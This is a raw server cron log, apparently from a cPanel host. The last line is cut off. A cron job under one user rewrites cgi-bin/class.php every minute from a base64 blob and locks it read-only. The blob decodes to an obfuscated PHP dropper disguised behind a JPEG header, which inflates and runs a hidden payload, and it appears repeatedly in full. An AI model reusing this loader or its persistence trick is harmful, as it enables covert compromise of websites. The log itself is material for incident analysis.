Apr 10 23:33:01 server CROND[19640]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 23:34:01 server CROND[19705]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 23:35:01 server CROND[19779]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 23:35:01 server CROND[19782]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 23:35:01 server CROND[19783]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 23:35:01 server CROND[19781]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr 10 23:35:01 server CROND[19784]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 23:36:01 server CROND[19903]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 23:37:01 server CROND[19961]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 23:38:01 server CROND[20126]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 23:39:01 server CROND[20188]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 10 23:39:01 server CROND[20189]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 23:40:01 server CROND[20258]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 23:40:01 server CROND[20259]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 23:40:01 server CROND[20260]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 23:40:01 server CROND[20261]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 23:41:01 server CROND[20394]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 23:42:01 server CROND[20459]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 23:42:01 server CROND[20460]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 10 23:43:01 server CROND[20614]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 23:44:01 server CROND[20672]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 23:45:01 server CROND[20737]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 23:45:01 server CROND[20738]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 23:45:01 server CROND[20739]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 23:46:01 server CROND[20852]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JH